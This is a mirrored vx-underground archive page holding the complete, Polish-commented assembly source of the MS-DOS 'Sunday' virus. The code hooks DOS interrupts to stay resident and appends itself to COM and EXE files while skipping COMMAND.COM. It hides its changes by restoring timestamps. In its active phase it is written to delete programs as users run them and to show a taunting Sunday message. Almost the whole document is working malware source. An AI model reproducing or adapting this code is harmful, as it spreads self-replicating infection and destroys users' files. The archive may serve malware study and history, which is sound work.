13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-27 01:18:35 +00:00
vxug-MalwareSourceCode/MSDOS/J-Index/Virus.MSDOS.Unknown.j_sundyb.asm
vxunderground 4b9382ddbc re-organize
push
2022-08-21 04:07:57 -05:00

728 lines
47 KiB
NASM

; COM - na poczatku
; EXE - na koncu
; rozpoznaje wg nazwy (co nie COM = EXE)
;-------
; aktywacja w niedziele roku roznego od 1989
; procedury niszczacej
;-------
; doniesienia co 30 minut
; ale nigdy nie wlaczone
;-------
; Nie zaraza COMMAND.COM'a
;-------
LF EQU 0AH
CR EQU 0DH
;INITIAL VALUES : CS:IP 0918:00C4
; SS:SP 0918:065D
;----------------
; <- tutaj cialo programu
;----------------
S9180 SEGMENT STACK
ASSUME DS:S9180, SS:S9180 ,CS:S9180 ,ES:S9180
L9180: jmp L0095 ;L9215 ;9180 E9 92 00
db 73h,55h ;'sU' ;9183 73 55
;<- wzorzec sygnatury zarazenia
L0005 DB 0C8H,0F7h,0E1h,0EEh,0E7h ;9185 C8 F7 E1 EE E7
L000A dw 100h ;IP nosiciela COM ;918A 00 01
L000C dw 1905h ;CS nosiciela COM ;918C 05 19
L000E db 0 ;ptr aktywnosci wirusa ;918E 00
L000F dw 0 ;918F 00 00
L0011 dw 9374h ;dlugosc programu oryginalna ;9191 74 93
L0013 dw 0FEA5h ;old int 8 ;9193 A5
L0015 dw 0F000h ;9195 00
L0017 dw 1460h ;old int 21h ;9197 60 14
L0019 dw 025Bh ;9199 5B 02
L001B dw 0556h ;old int 24h ;919B 56 05
L001D dw 0BA6h ;919D A6 0B
L001F dw 32400 ;30 minut zwloki ;919F 90 7E
dw 0 ;91A1 00 00
dw 0 ;91A3 00 00
dw 0 ;91A5 00 00
dw 0 ;91A7 00 00
dw 0 ;91A9 00 00
dw 0 ;91AB 00 00
dw 0E800h ;91AD 00 E8
dw 5F06h ;91AF 06 5F
L0031 dw 0C89h ;adres bloku wirusa ;91B1 89 0C
L0033 dw 80h ;wielkosc bloku wirusa (para) ;91B3 80 00
;<----- Parameter Block
L0035 dw 0 ;Environment ;91B5 00 00
dw 80h ;<- command line ;91B7 80 00
L0039 dw 0C89h ; Segment ;91B9 89 0C
dw 5Ch ;<- FCB-1 ;91BB 5C 00
L003D dw 0C89h ; Segment ;91BD 89 0C
dw 6Ch ;<- FCB-2 ;91BF 6C 00
L0041 dw 0C89h ; Segment ;91C1 89 0C
L0043 dw 0800h ;SP nosiciela ;91C3 00 08
L0045 dw 0A58h ;rel segment stosu nosiciela ;91C5 58 0A
L0047 dw 3D73h ;IP nosiciela ;91C7 73 3D
L0049 dw 0 ;CS nosiciela (rel) ;91C9 00 00
;pierwsze 3 bajty wektora int ff
L004B dw 0F000h ;91CB 00 F0
L004D db 46h ;91CD 46
L004E db 1 ;0=COM, 1=EXE ;91CE 01
;<- bufor na poczatek zbioru
L004F db 'MZ' ;91CF 4D 5A
L0051 dw 01E4h ;last page bytes ;91D1 E4 01
L0053 dw 004Dh ;file size - pages ;91D3 4D 00
dw 0004h ;91D5 04 00
L0057 dw 0020h ;header size (para) ;91D7 20 00
dw 01C1h ;91D9 C1 01
dw 0FFFFh ;91DB FF FF
L005D dw 0918h ;SS ;91DD 18 09
L005F dw 065Dh ;SP ;91DF 5D 06
L0061 dw 1984h ;suma kontrolna ;91E1 84 19
L0063 dw 00C4h ;IP ;91E3 C4 00
L0065 dw 0918h ;CS ;91E5 18 09
dw 001Eh ;91E7 1E 00
dw 0000h ;91E9 00 00
;<- bufor na 5 ostatnich bajtow zbioru
L006B db 0Ah,0,0FFh,0FFh,0FFh ;91EB 0A 00 FF FF FF
L0070 dw 5 ;File handle ;91F0 05 00
L0072 dw 20h ;atrybut zarazanego zbioru ;91F2 20 00
L0074 dw 1031h ;91F4 31 10
L0076 dw 0A337h ;91F6 37 A3
L0078 dw 200h ;bytes/sector(page) ;91F8 00 02
L007A dw 10h ;bytes/paragraph ;91FA 10 00
L007C dw 9380h ;nowa dlugosc zbioru DWORD ;91FC 80 93
L007E dw 0 ;91FD 00 00
L0080 dw 41B9h ;path nazwy programu - offset ;9200 B9 41
L0082 dw 9B2Ah ; - segment ;9202 2A 9B
L0084 db 'COMMAND.COM' ;9294 43 4F 4D 4D 41 4E 44 2E 43 4F 4D
L008F dw 0,0,0 ;929F 00 00 00 00 00 00
;================================================
; <- Start wirusa zbiorow COM
;------------------------------------------------
L0095: CLD ;9215 FC
MOV AH,0FFH ;kontrola rezydowania ;9216 B4 FF
INT 21H ;9218 CD 21
CMP AH,0FFH ;921A 80 FC FF
JNB L9234 ;-> nie rezyduje ;921D 73 15
CMP AH,4 ;921F 80 FC 04
JB L9234 ;-> nie rezyduje ;9222 72 10
;<- wirus juz rezyduje
MOV AH,0DDH ;uruchom program ;9224 B4 DD
MOV DI,100h ;miejsce docelowe programu ;9226 BF 00 01
MOV SI,OFFSET L065F ;9229 BE 5F 06
ADD SI,DI ;miejsce aktualne programu ;922C 03 F7
MOV CX,CS:[DI+11H] ;dlugosc programu oryginalna ;922E 2E 8B 4D 11
INT 21H ;9232 CD 21
L9234: MOV AX,CS ;normalizacja segmentu ;9234 8C C8
ADD AX,10h ;9236 05 10 00
MOV SS,AX ;9239 8E D0
MOV SP,OFFSET L065D ;923B BC 5D 06
PUSH AX ;segment ;923E 50
MOV AX,OFFSET L00C4 ;=L9244 ;923F B8 C4 00
PUSH AX ;offset ;9242 50
RETF ;9243 CB
;================================================
; <- Start wirusa zbioru EXE
;------------------------------------------------
L00C4:
L9244: CLD ;9244 FC
PUSH ES ;<- PSP ;9245 06
MOV CS:L0031,ES ;9246 2E 8C 06 31 00
MOV CS:L0039,ES ;924B 2E 8C 06 39 00
MOV CS:L003D,ES ;9250 2E 8C 06 3D 00
MOV CS:L0041,ES ;9255 2E 8C 06 41 00
MOV AX,ES ;segment poczatku pgm ;925A 8C C0
ADD AX,10h ;925C 05 10 00
ADD CS:L0049,AX ;relokowanie CS ;925F 2E 01 06 49 00
ADD CS:L0045,AX ;relokowanie SS ;9264 2E 01 06 45 00
MOV AH,0FFH ;czy juz rezyduje ? ;9269 B4 FF
INT 21H ;926B CD 21
CMP AH,4 ;926D 80 FC 04
JNZ L9282 ;-> jeszcze nie ;9270 75 10
POP ES ;<- uruchomienie pgm ;9272 07
MOV SS,CS:L0045 ;inicjacja stosu ;9273 2E 8E 16 45 00
MOV SP,CS:L0043 ;9278 2E 8B 26 43 00
JMP DWORD PTR CS:L0047 ;uruchomienie nosiciela ;927D 2E FF 2E 47 00
;<- zarezydowanie
L9282: XOR AX,AX ;9282 33 C0
MOV ES,AX ;9284 8E C0
MOV BX,03FCh ;int 0ffh ;9286 BB FC 03
MOV AX,ES:[BX] ;9289 26 8B 07
MOV CS:L004B,AX ;928C 2E A3 4B 00
MOV AL,ES:[BX+2] ;9290 26 8A 47 02
MOV CS:L004D,AL ;9294 2E A2 4D 00
MOV WORD PTR ES:[BX],0A5F3h ;rep movsw ;9298 26 C7 07 F3 A5
MOV BYTE PTR ES:[BX+2],0CBH ;ret ;929D 26 C6 47 02 CB
POP AX ;92A2 58
ADD AX,10h ;92A3 05 10 00
MOV ES,AX ;92A6 8E C0
PUSH CS ;92A8 0E
POP DS ;92A9 1F
MOV CX,OFFSET L065F ;dl. wir. bez podpisu ;92AA B9 5F 06
SHR CX,1 ;na slowa ;92AD D1 E9
XOR SI,SI ;offset zrodlowy ;92AF 33 F6
MOV DI,SI ;offset wynikowy ;92B1 8B FE
PUSH ES ;segment przepisanego ;92B3 06
MOV AX,OFFSET L013C ;offset kontynuacji ;92B4 B8 3C 01
PUSH AX ;92B7 50
JMP DWORD PTR L05F6 ;skok w wektor int FF ;92B8 FF 2E F6 05
;<- kontynuacja na nowym miejscu
L013C: MOV AX,CS ;92BC 8C C8
MOV SS,AX ;92BE 8E D0
MOV SP,OFFSET L065D ;92C0 BC 5D 06
XOR AX,AX ;92C3 33 C0
MOV DS,AX ;92C5 8E D8
MOV AX,CS:L004B ;odtworzenie wektora int ff ;92C7 2E A1 4B 00
MOV [BX],AX ;92CB 89 07
MOV AL,CS:L004D ;92CD 2E A0 4D 00
MOV [BX+2],AL ;92D1 88 47 02
MOV BX,SP ;sp -> paragraf ;92D4 8B DC
MOV CL,4 ;92D6 B1 04
SHR BX,CL ;92D8 D3 EB
ADD BX,20h ;+512 ;92DA 83 C3 20
and bx,0fff0h ;92DD 83 E3 F0
MOV CS:L0033,BX ;paragrafy bloku potrzebne ;92E0 2E 89 1E 33 00
MOV AH,4AH ;Set Block ;92E5 B4 4A
MOV ES,CS:L0031 ;segment bloku ;92E7 2E 8E 06 31 00
INT 21H ;92EC CD 21
MOV AX,3521h ;Get int 21h ;92EE B8 21 35
INT 21H ;92F1 CD 21
MOV CS:L0017,BX ;92F3 2E 89 1E 17 00
MOV CS:L0019,ES ;92F8 2E 8C 06 19 00
PUSH CS ;92FD 0E
POP DS ;92FE 1F
MOV DX,OFFSET L02D2 ;92FF BA D2 02
MOV AX,2521h ;Set int 21h ;9302 B8 21 25
INT 21H ;9305 CD 21
MOV ES,[L0031] ;segment wirusa ;9307 8E 06 31 00
MOV ES,ES:[2Ch] ;environment ;930B 26 8E 06 2C 00
XOR DI,DI ;szukamy nazwy nosiciela ;9310 33 FF
MOV CX,7FFFh ;9312 B9 FF 7F
XOR AL,AL ;9315 32 C0
L9317: REPNZ SCASB ;9317 F2 AE
CMP ES:[DI],AL ;9319 26 38 05
LOOPNZ L9317 ;931C E0 F9
MOV DX,DI ;pathname offset ;931E 8B D7
ADD DX,3 ;9320 83 C2 03
MOV AX,4B00h ;Load & Execute nosiciela ;9323 B8 00 4B
PUSH ES ;9326 06
POP DS ;pathname segment ;9327 1F
PUSH CS ;9328 0E
POP ES ;parameter block ;9329 07
MOV BX,OFFSET L0035 ;parameter block ;932A BB 35 00
PUSH DS ;932D 1E
PUSH ES ;932E 06
PUSH AX ;932F 50
PUSH BX ;9330 53
PUSH CX ;9331 51
PUSH DX ;9332 52
MOV AH,2AH ;Get Date ;9333 B4 2A
INT 21H ;9335 CD 21
MOV BYTE PTR CS:L000E,0 ;ptr aktywnosci wirusa ;9337 2E C6 06 0E 00 00
CMP CX,1989 ;rok ;933D 81 F9 C5 07
JZ L936F ;-> tak ;9341 74 2C
; Mistake! Range for AL is 0 ..6 !
CMP AL,7 ;niedziela ? ;9343 3C 07
JNZ L9350 ;-> nie ;9345 75 09
INC BYTE PTR CS:L000E ;ptr aktywnosci wirusa ;9347 2E FE 06 0E 00
JMP SHORT L936F ;934C EB 21
NOP ;934E 90
NOP ;934F 90
;<- to nie niedziela i rok nie 1989
L9350: MOV AX,3508h ;Get int 8 ;9350 B8 08 35
INT 21H ;9353 CD 21
MOV CS:L0013,BX ;9355 2E 89 1E 13 00
MOV CS:L0015,ES ;935A 2E 8C 06 15 00
PUSH CS ;935F 0E
POP DS ;9360 1F
MOV WORD PTR L001F,32400 ;30 minut ;9361 C7 06 1F 00 90 7E
MOV AX,2508h ;Set int 8 ;9367 B8 08 25
MOV DX,OFFSET L0216 ;936A BA 16 02
INT 21H ;936D CD 21
L936F: POP DX ;936F 5A
POP CX ;9370 59
POP BX ;9371 5B
POP AX ;9372 58
POP ES ;9373 07
POP DS ;9374 1F
PUSHF ;9375 9C
CALL DWORD PTR CS:L0017 ;old int 21h (run) ;9376 2E FF 1E 17 00
PUSH DS ;937B 1E
POP ES ;937C 07
MOV AH,49H ;Free allocated memory ;937D B4 49
INT 21H ;937F CD 21
MOV AH,4DH ;Get Return code of child proc ;9381 B4 4D
INT 21H ;9383 CD 21
MOV AH,31H ;Keep process ;9385 B4 31
MOV DX,OFFSET L065F ;adres konca ;9387 BA 5F 06
MOV CL,4 ;na paragrafy ;938A B1 04
SHR DX,CL ;938C D3 EA
ADD DX,10h ;zaokraglenie ;938E 83 C2 10
INT 21H ;9391 CD 21
;-----------------------------------------------
; Wlasna obsluga int 24h
;-----------------------------------------------
L0213: XOR AX,AX ;9393 33 C0
IRET ;9395 CF
;================================================================
; Nowa obsluga int 8
;----------------------------------------------------------------
L0216: CMP BYTE PTR CS:L000E,1 ;ptr aktywnosci wirusa ;9396 2E 80 3E 0E 00 01
JNZ L93CC ;-> to nie sobota ;939C 75 2E
CMP WORD PTR CS:L001F,0 ;939E 2E 83 3E 1F 00 00
JNZ L93C7 ;-> jeszcze mamy czas ;93A4 75 21
PUSH AX ;93A6 50
PUSH BX ;93A7 53
PUSH SI ;93A8 56
MOV AH,0EH ; ;93A9 B4 0E
MOV BL,1FH ;atrybut ;93AB B3 1F
LEA SI,L0251 ;'Today is SunDay...' ;93AD 8D 36 51 02
L93B1: MOV AL,CS:[SI] ;znak ;93B1 2E 8A 04
CMP AL,'$' ;koniec ? ;93B4 3C 24
JZ L93BD ;-> tak ;93B6 74 05
INT 10H ;93B8 CD 10
INC SI ;93BA 46
JMP SHORT L93B1 ;93BB EB F4
L93BD: MOV WORD PTR CS:L001F,32400 ;reset licznika na 30min;93BD 2E C7 06 1F 00 90 7E
POP SI ;93C4 5E
POP BX ;93C5 5B
POP AX ;93C6 58
L93C7: DEC WORD PTR CS:L001F ;licznik zwloki ;93C7 2E FF 0E 1F 00
L93CC: JMP DWORD PTR CS:L0013 ;oryginal int 8 ;93CC 2E FF 2E 13 00
L0251 DB 'Today is SunDay! Why do you work so hard?',LF,CR
DB 'All work and no play make you a dull boy!',LF,CR
DB "Come on ! Let's go out and have some fun!$"
;================================================================
; Nowa obsluga int 21h
;----------------------------------------------------------------
L02D2: PUSHF ;9452 9C
CMP AH,0FFH ;czy to pytanie o wirusa ? ;9453 80 FC FF
JNZ L945D ;-> nie ;9456 75 05
MOV AX,0400h ;sygnalizacja obecnosci ;9458 B8 00 04
POPF ;945B 9D
IRET ;945C CF
L945D: CMP AH,0DDH ;uruchomienie nosiciela COM ? ;945D 80 FC DD
JZ L9470 ;-> tak ;9460 74 0E
CMP AX,4B00h ;Load & Execute ? ;9462 3D 00 4B
JNZ L946A ;-> nie, przezroczystosc ;9465 75 03
JMP SHORT L949E ;-> tak ;9467 EB 35
NOP ;9469 90
L946A: POPF ;946A 9D
JMP DWORD PTR CS:L0017 ;old int 21h ;946B 2E FF 2E 17 00
L9470: POP AX ;<- 0DDh, uruchom nosiciela COM ;9470 58
POP AX ;9471 58
MOV AX,0100h ;IP ;9472 B8 00 01
MOV CS:L000A,AX ;9475 2E A3 0A 00
POP AX ;CS ;9479 58
MOV CS:L000C,AX ;947A 2E A3 0C 00
REPZ MOVSB ;przeslanie programu na wirusa ;947E F3 A4
POPF ;9480 9D
MOV AX,CS:L000F ;? ;9481 2E A1 0F 00
JMP DWORD PTR CS:L000A ;9485 2E FF 2E 0A 00
;<- uruchamianie programu w fazie aktywnosci
L948A: XOR CX,CX ;948A 33 C9
MOV AX,4301h ;Set file attributes ;948C B8 01 43
INT 21H ;948F CD 21
MOV AH,41H ;Delete Directory Entry ;9491 B4 41
INT 21H ;9493 CD 21
MOV AX,4B00h ;Load & Execute ;9495 B8 00 4B
POPF ;9498 9D
JMP DWORD PTR CS:L0017 ;old int 21h ;9499 2E FF 2E 17 00
;<- uruchamianie programu
L949E: CMP BYTE PTR CS:L000E,1 ;ptr aktywnosci wirusa ;949E 2E 80 3E 0E 00 01
JZ L948A ;-> aktywny ;94A4 74 E4
MOV WORD PTR CS:L0070,0FFFFh ;File handle ;94A6 2E C7 06 70 00 FF FF
MOV WORD PTR CS:L008F,0 ;94AD 2E C7 06 8F 00 00 00
MOV CS:L0080,DX ;path do programu ;94B4 2E 89 16 80 00
MOV CS:L0082,DS ;94B9 2E 8C 1E 82 00
PUSH AX ;94BE 50
PUSH BX ;94BF 53
PUSH CX ;94C0 51
PUSH DX ;94C1 52
PUSH SI ;94C2 56
PUSH DI ;94C3 57
PUSH DS ;94C4 1E
PUSH ES ;94C5 06
CLD ;94C6 FC
MOV DI,DX ;94C7 8B FA
XOR DL,DL ;aktualny drive ;94C9 32 D2
CMP BYTE PTR [DI+1],':' ;czy path z drive ? ;94CB 80 7D 01 3A
JNZ L94D6 ;-> nie, aktualny ;94CF 75 05
MOV DL,[DI] ;94D1 8A 15
AND DL,1FH ;na numer drive ;94D3 80 E2 1F
L94D6: MOV AH,36H ;Get Disk Free Space ;94D6 B4 36
INT 21H ;94D8 CD 21
CMP AX,0FFFFh ;94DA 3D FF FF
JNZ L94E2 ;-> drive number OK ;94DD 75 03
L94DF: JMP L9768 ;<- drive number invalid ;94DF E9 86 02
L94E2: MUL BX ;<sec per clus>*<avl clus> ;94E2 F7 E3
MUL CX ;*<bytes per sec> ;94E4 F7 E1
OR DX,DX ;94E6 0B D2
JNZ L94EF ;-> ponad 64 KB wolne ;94E8 75 05
CMP AX,OFFSET L065F ;=1631=dlugosc wirusa ;94EA 3D 5F 06
JB L94DF ;94ED 72 F0
L94EF: MOV DX,CS:L0080 ;path do programu ;94EF 2E 8B 16 80 00
PUSH DS ;94F4 1E
POP ES ;94F5 07
XOR AL,AL ;poszukiwanie konca ;94F6 32 C0
MOV CX,41h ;94F8 B9 41 00
REPNZ SCASB ;94FB F2 AE
MOV SI,CS:L0080 ;zamiana na duze litery ;94FD 2E 8B 36 80 00
L9502: MOV AL,[SI] ;9502 8A 04
OR AL,AL ;9504 0A C0
JZ L9516 ;9506 74 0E
CMP AL,61H ;'a' ;9508 3C 61
JB L9513 ;950A 72 07
CMP AL,7AH ;'z' ;950C 3C 7A
JA L9513 ;950E 77 03
SUB BYTE PTR [SI],20H ;' ' ;9510 80 2C 20
L9513: INC SI ;9513 46
JMP SHORT L9502 ;9514 EB EC
L9516: MOV CX,0Bh ;czy to command ? ;9516 B9 0B 00
SUB SI,CX ;9519 2B F1
MOV DI,OFFSET L0084 ;'command.com' ;951B BF 84 00
PUSH CS ;951E 0E
POP ES ;951F 07
MOV CX,0Bh ;9520 B9 0B 00
REPZ CMPSB ;9523 F3 A6
JNZ L952A ;-> nie ;9525 75 03
JMP L9768 ;-> tak, odpuszczamy ;9527 E9 3E 02
L952A: MOV AX,4300h ;Get File Attributes ;952A B8 00 43
INT 21H ;952D CD 21
JB L9536 ;952F 72 05
MOV CS:L0072,CX ;atrybut zarazanego zbioru ;9531 2E 89 0E 72 00
L9536: JB L955D ;9536 72 25
XOR AL,AL ;znacznik zbioru COM ;9538 32 C0
MOV CS:L004E,AL ;0=COM, 1=EXE ;953A 2E A2 4E 00
PUSH DS ;szukamy konca nazwy ;953E 1E
POP ES ;953F 07
MOV DI,DX ;9540 8B FA
MOV CX,41h ;9542 B9 41 00
REPNZ SCASB ;9545 F2 AE
CMP BYTE PTR [DI-2],4DH ;'M'-ostatnia litera ;9547 80 7D FE 4D
JZ L9558 ;-> tak, COM ;954B 74 0B
CMP BYTE PTR [DI-2],6DH ;'m' ;954D 80 7D FE 6D
JZ L9558 ;-> tak, com ;9551 74 05
INC BYTE PTR CS:L004E ;<- EXE ;9553 2E FE 06 4E 00
L9558: MOV AX,3D00h ;Open Handle ;9558 B8 00 3D
INT 21H ;955B CD 21
L955D: JB L95B9 ;955D 72 5A
MOV CS:L0070,AX ;File handle ;955F 2E A3 70 00
MOV BX,AX ;9563 8B D8
MOV AX,4202h ;Move file ptr EOF+offs ;9565 B8 02 42
MOV CX,0FFFFh ;-5 (piec ostatnich bajtow) ;9568 B9 FF FF
MOV DX,0FFFBh ;956B BA FB FF
INT 21H ;956E CD 21
JB L955D ;9570 72 EB
ADD AX,5 ;+5 bajtow sygnatury ;9572 05 05 00
MOV CS:L0011,AX ;dlugosc programu oryginalna ;9575 2E A3 11 00
MOV CX,5 ;dlugosc sygnatury ;9579 B9 05 00
MOV DX,OFFSET L006B ;bufor na sygnature ;957C BA 6B 00
MOV AX,CS ;957F 8C C8
MOV DS,AX ;9581 8E D8
MOV ES,AX ;9583 8E C0
MOV AH,3FH ;Read Handle ;9585 B4 3F
INT 21H ;9587 CD 21
MOV DI,DX ;przeczytana sygnatura ;9589 8B FA
MOV SI,OFFSET L0005 ;wzorzec sygnatury ;958B BE 05 00
REPZ CMPSB ;958E F3 A6
JNZ L9599 ;-> jeszcze nie zarazony ;9590 75 07
MOV AH,3EH ;Close Handle ;9592 B4 3E
INT 21H ;9594 CD 21
JMP L9768 ;9596 E9 CF 01
;<----- zarazanie zbioru
L9599: MOV AX,3524h ;Get int 24h ;9599 B8 24 35
INT 21H ;959C CD 21
MOV L001B,BX ;959E 89 1E 1B 00
MOV L001D,ES ;95A2 8C 06 1D 00
MOV DX,OFFSET L0213 ;L9393 ;95A6 BA 13 02
MOV AX,2524h ;Set int 24h ;95A9 B8 24 25
INT 21H ;95AC CD 21
LDS DX,DWORD PTR L0080 ;ptr na path ;95AE C5 16 80 00
XOR CX,CX ;95B2 33 C9
MOV AX,4301h ;Set File attributes ;95B4 B8 01 43
INT 21H ;95B7 CD 21
L95B9: JB L95F6 ;95B9 72 3B
MOV BX,CS:L0070 ;File handle ;95BB 2E 8B 1E 70 00
MOV AH,3EH ;Close Handle ;95C0 B4 3E
INT 21H ;95C2 CD 21
MOV WORD PTR CS:L0070,0FFFFh ;File handle ;95C4 2E C7 06 70 00 FF FF
MOV AX,3D02h ;Open Handle R/W ;95CB B8 02 3D
INT 21H ;95CE CD 21
JB L95F6 ;95D0 72 24
MOV CS:L0070,AX ;File handle ;95D2 2E A3 70 00
MOV AX,CS ;95D6 8C C8
MOV DS,AX ;95D8 8E D8
MOV ES,AX ;95DA 8E C0
MOV BX,L0070 ;File handle ;95DC 8B 1E 70 00
MOV AX,5700h ;Get File Date/Time ;95E0 B8 00 57
INT 21H ;95E3 CD 21
MOV L0074,DX ;95E5 89 16 74 00
MOV L0076,CX ;95E9 89 0E 76 00
MOV AX,4200h ;Move file ptr BOF+offs ;95ED B8 00 42
XOR CX,CX ;95F0 33 C9
MOV DX,CX ;95F2 8B D1
INT 21H ;95F4 CD 21
L95F6: JB L9636 ;95F6 72 3E
CMP BYTE PTR L004E,0 ;0=COM, 1=EXE ;95F8 80 3E 4E 00 00
JZ L9603 ;95FD 74 04
JMP SHORT L965C ;95FF EB 5B
NOP ;9601 90
NOP ;9602 90
;<----- Zarazenie COM'a
L9603: MOV BX,1000h ;zadanie 64KB bufora pamieci ;9603 BB 00 10
MOV AH,48H ;allocate memory ;9606 B4 48
INT 21H ;9608 CD 21
JNB L9617 ;-> powiodlo sie ;960A 73 0B
MOV AH,3EH ;Close Handle ;960C B4 3E
MOV BX,L0070 ;File handle ;960E 8B 1E 70 00
INT 21H ;9612 CD 21
JMP L9768 ;9614 E9 51 01
L9617: INC WORD PTR L008F ;9617 FF 06 8F 00
MOV ES,AX ;nowy blok pamieci ;961B 8E C0
XOR SI,SI ;961D 33 F6
MOV DI,SI ;961F 8B FE
MOV CX,OFFSET L065F ;9621 B9 5F 06
REPZ MOVSB ;przepisanie do bufora ;9624 F3 A4
MOV DX,DI ;pierwsze wolne miejsce ;9626 8B D7
MOV CX,L0011 ;dlugosc programu oryginalna ;9628 8B 0E 11 00
MOV BX,L0070 ;File handle ;962C 8B 1E 70 00
PUSH ES ;9630 06
POP DS ;9631 1F
MOV AH,3FH ;Read Handle ;9632 B4 3F
INT 21H ;9634 CD 21
L9636: JB L9657 ;9636 72 1F
ADD DI,CX ;na poczatek zbioru ;9638 03 F9
XOR CX,CX ;963A 33 C9
MOV DX,CX ;963C 8B D1
MOV AX,4200h ;Move file ptr BOF+offs ;963E B8 00 42
INT 21H ;9641 CD 21
MOV SI,OFFSET L0005 ;dopisanie ogonka ;9643 BE 05 00
MOV CX,5 ;9646 B9 05 00
PUSH DS ;9649 1E
PUSH CS ;964A 0E
POP DS ;964B 1F
REPZ MOVSB ;964C F3 A4
POP DS ;964E 1F
MOV CX,DI ;nowa dlugosc programu ;964F 8B CF
XOR DX,DX ;bufor z wynikowym programem ;9651 33 D2
MOV AH,40H ;Write Handle ;9653 B4 40
INT 21H ;9655 CD 21
L9657: JB L9666 ;9657 72 0D
JMP L9723 ;9659 E9 C7 00
;<----- Zarazenie EXE'ca
L965C: MOV CX,1Ch ;EXE file header - dlugosc ;965C B9 1C 00
MOV DX,OFFSET L004F ; - bufor ;965F BA 4F 00
MOV AH,3FH ;Read Handle ;9662 B4 3F
INT 21H ;9664 CD 21
L9666: JB L96B2 ;9666 72 4A
MOV WORD PTR L0061,1984h ;suma kontrolna ;9668 C7 06 61 00 84 19
MOV AX,L005D ;SS ;966E A1 5D 00
MOV L0045,AX ;9671 A3 45 00
MOV AX,L005F ;SP ;9674 A1 5F 00
MOV L0043,AX ;9677 A3 43 00
MOV AX,L0063 ;IP ;967A A1 63 00
MOV L0047,AX ;967D A3 47 00
MOV AX,L0065 ;CS ;9680 A1 65 00
MOV L0049,AX ;9683 A3 49 00
MOV AX,L0053 ;sile size - pages ;9686 A1 53 00
CMP WORD PTR L0051,0 ;last page bytes ;9689 83 3E 51 00 00
JZ L9691 ;968E 74 01
DEC AX ;9690 48
L9691: MUL WORD PTR L0078 ;* <bytes per page> ;9691 F7 26 78 00
ADD AX,L0051 ;+last page bytes ;9695 03 06 51 00
ADC DX,0 ;9699 83 D2 00
ADD AX,0Fh ;zaokraglenie ;969C 05 0F 00
ADC DX,0 ;969F 83 D2 00
AND AX,0FFF0h ;96A2 25 F0 FF
MOV L007C,AX ;96A5 A3 7C 00
MOV L007E,DX ;96A8 89 16 7E 00
ADD AX,OFFSET L0664 ;dlugosc z sygnatura ;96AC 05 64 06
ADC DX,0 ;96AF 83 D2 00
L96B2: JB L96EE ;96B2 72 3A
DIV WORD PTR L0078 ;bytes per page ;96B4 F7 36 78 00
OR DX,DX ;czy jest reszta ? ;96B8 0B D2
JZ L96BD ;-> nie ;96BA 74 01
INC AX ;<- jest reszta ;96BC 40
L96BD: MOV L0053,AX ;pages per file ;96BD A3 53 00
MOV L0051,DX ;last page bytes ;96C0 89 16 51 00
MOV AX,L007C ;nowa dlugosc calosci ;96C4 A1 7C 00
MOV DX,L007E ;96C7 8B 16 7E 00
DIV WORD PTR L007A ;na paragrafy ;96CB F7 36 7A 00
SUB AX,L0057 ;header size ;96CF 2B 06 57 00
MOV L0065,AX ;CS wirusa ;96D3 A3 65 00
MOV WORD PTR L0063,OFFSET L00C4 ;IP wirusa ;96D6 C7 06 63 00 C4 00
MOV L005D,AX ;SS wirusa ;96DC A3 5D 00
MOV WORD PTR L005F,OFFSET L065D ;SP wirusa ;96DF C7 06 5F 00 5D 06
XOR CX,CX ;96E5 33 C9
MOV DX,CX ;96E7 8B D1
MOV AX,4200h ;Move file ptr BOF+offs ;96E9 B8 00 42
INT 21H ;96EC CD 21
L96EE: JB L96FA ;96EE 72 0A
MOV CX,1Ch ;zapis zmodyf. headera ;96F0 B9 1C 00
MOV DX,OFFSET L004F ;96F3 BA 4F 00
MOV AH,40H ;write handle ;96F6 B4 40
INT 21H ;96F8 CD 21
L96FA: JB L970D ;96FA 72 11
CMP AX,CX ;96FC 3B C1
JNZ L9723 ;-> nie cale poszlo ;96FE 75 23
MOV DX,L007C ;nowa dlugosc zbioru ;9700 8B 16 7C 00
MOV CX,L007E ;9704 8B 0E 7E 00
MOV AX,4200h ;Move file ptr BOF+offs ;9708 B8 00 42
INT 21H ;970B CD 21
L970D: JB L9723 ;970D 72 14
XOR DX,DX ;970F 33 D2
MOV CX,065Fh ;9711 B9 5F 06
MOV AH,40H ;Write Handle ;9714 B4 40
INT 21H ;9716 CD 21
MOV CX,5 ;9718 B9 05 00
LEA DX,L0005 ;971B 8D 16 05 00
MOV AH,40H ;Write Handle ;971F B4 40
INT 21H ;9721 CD 21
;<----- wspolny koniec
L9723: CMP WORD PTR CS:L008F,0 ;znacznik zajecia bloku ;9723 2E 83 3E 8F 00 00
JZ L972F ;9729 74 04
MOV AH,49H ;Free allocated memory ;972B B4 49
INT 21H ;972D CD 21
L972F: CMP WORD PTR CS:L0070,-1 ;File handle ;972F 2E 83 3E 70 00 FF
JZ L9768 ;-> nie otwarty ;9735 74 31
MOV BX,CS:L0070 ;File handle ;9737 2E 8B 1E 70 00
MOV DX,CS:L0074 ;973C 2E 8B 16 74 00
MOV CX,CS:L0076 ;9741 2E 8B 0E 76 00
MOV AX,5701h ;Set File Time/Date ;9746 B8 01 57
INT 21H ;9749 CD 21
MOV AH,3EH ;Close Handle ;974B B4 3E
INT 21H ;974D CD 21
PUSH CS ;974F 0E
POP DS ;9750 1F
LDS DX,DWORD PTR L0080 ;ptr nazwy zbioru ;9751 C5 16 80 00
MOV CX,CS:L0072 ;atry zarazanego zbioru ;9755 2E 8B 0E 72 00
MOV AX,4301h ;Set File Attributes ;975A B8 01 43
INT 21H ;975D CD 21
LEA DX,L001B ;975F 8D 16 1B 00
MOV AX,2524h ;Set int 24h vector ;9763 B8 24 25
INT 21H ;9766 CD 21
L9768: POP ES ;9768 07
POP DS ;9769 1F
POP DI ;976A 5F
POP SI ;976B 5E
POP DX ;976C 5A
POP CX ;976D 59
POP BX ;976E 5B
POP AX ;976F 58
POPF ;9770 9D
JMP DWORD PTR CS:L0017 ;old int 21h ;9771 2E FF 2E 17 00
L05F6 dw 03FCh ;<- adres wektora int ff ;9776 FC 03
dw 0 ;9778 00 00
;<------ stos
db 0 ;977A 00
dw 0 ;977B 00 00
dw 0 ;977D 00 00
dw 0 ;977F 00 00
dw 0 ;9781 00 00
dw 0 ;9783 00 00
dw 0 ;9785 00 00
dw 0 ;9787 00 00
dw 0 ;9789 00 00
dw 0 ;978B 00 00
dw 0 ;978D 00 00
dw 0 ;978F 00 00
dw 0 ;9791 00 00
dw 0 ;9793 00 00
dw 0 ;9795 00 00
dw 0 ;9797 00 00
dw 0 ;9799 00 00
dw 0 ;979B 00 00
